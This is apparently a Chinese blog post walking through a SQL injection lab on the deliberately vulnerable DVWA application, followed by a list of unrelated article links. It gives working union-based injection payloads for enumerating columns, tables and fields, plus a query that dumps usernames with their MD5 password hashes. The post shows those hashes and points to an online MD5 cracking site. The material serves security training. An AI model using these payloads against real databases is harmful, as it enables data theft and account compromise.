SQL注入一般过程

实验:Vulnerability: SQL Injection(low)

SQL注入一般过程

1.判断注入点

一般和数据库进行交互的位置

2.判断注入点类型

字符型判断:

1' 报错

1' and '1'='2 错误结果

1' and '1'='1 正确结果

数字型判断:

1' 报错

1 and 1=2 错误结果

1 and 1=1 正确结果

3.获取数据回显位置

3.1 判断返回字段数

两种方式判断:1.order by 2. union select

1' order by 1# 正确显示结果

1' order by 2# 正确显示结果

1' order by 3# 报错

判断返回结果有两列。

3.2 判断回显位置

1' union select 1# 报错

1' union select 1,2# 正确显示,并成功显示回显位置

4.查询数据库名

database() 获取数据库名,user()获取用户名

1' union select database(),user() #

5.获取表名

数据库:information_schema

数据表:information_schema.tables

字段:table_schema = 'dvwa'

通过上面的内容查询表名,table_name

-1' union select 1,table_name from information_schema.tables

where table_schema=database()#

报错:

Illegal mix of collations for operation 'UNION' 编码错误

三种方式解决:

1.变成16进制输出

-1' union select 1,hex(table_name) from information_schema.tables

where table_schema=database()#

2.输出指定字符集

-1' union select 1,table_name collate utf8_general_ci from information_schema.tables

where table_schema=database()#

3.直接修改数据库字符集

查询结果可能只显示一条,因此使用group_concat()函数,将结果进行聚合

-1' union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables

where table_schema=database()#

查询结果为:guestbook,users

5.查询字段名

数据库:information_schema

表:information_schema.columns

条件字段:table_schema='dvwa',table_name='users'

查询内容:column_name

-1' union select 1,group_concat(column_name) collate utf8_general_ci from information_schema.columns

where table_schema=database() and table_name='users'#

查询结果: user_id,first_name,last_name,user,password,avatar,last_login,failed_login

6.查询数据

查询表:users

查询字段:user,password

-1' union select 1,group_concat(user,'~',password) from users#

查询结果:admin~5f4dcc3b5aa765d61d8327deb882cf99,gordonb~e99a18c428cb38d5f260853678922e03,1337~8d3533d75ae2c3966d7e0d4fcc69216b,pablo~0d107d09f5bbe40cade3de5c71e9e9b7,smithy~5f4dcc3b5aa765d61d8327deb882cf99

MD5在线解密:

https://www.cmd5.com/

相关推荐
weixin_381288189 分钟前
PyTorch中高效实现SOM邻域权重更新:向量化替代双重循环
jvm·数据库·python
m0_6178814216 分钟前
在 Go 中声明包级全局 Map 的正确方法
jvm·数据库·python
Polar__Star16 分钟前
Redis怎样管理废弃的数据集合_利用EXPIRE指令为任意数据类型设置生命周期
jvm·数据库·python
weixin_5689960616 分钟前
CSS布局如何解决父级因全是绝对定位导致本身没高度的问题
jvm·数据库·python
2601_9498166816 分钟前
如何在 Spring Boot 中配置数据库?
数据库·spring boot·后端
weixin_3812881817 分钟前
MySQL无法通过网络连接服务器_检查bind-address与访问权限
jvm·数据库·python
钮钴禄·爱因斯晨29 分钟前
聚焦操作系统中的PV操作
数据库·算法·系统架构·c#
2301_8135995529 分钟前
CSS中relative与absolute的区别_详解相对与绝对定位应用场景
jvm·数据库·python
qq_3721542338 分钟前
c++怎么在写入文件流时通过peek预读功能实现复杂的逻辑判断【实战】
jvm·数据库·python
m0_514520571 小时前
CSS如何给按钮添加按下缩小的动画_利用-active配合transform
jvm·数据库·python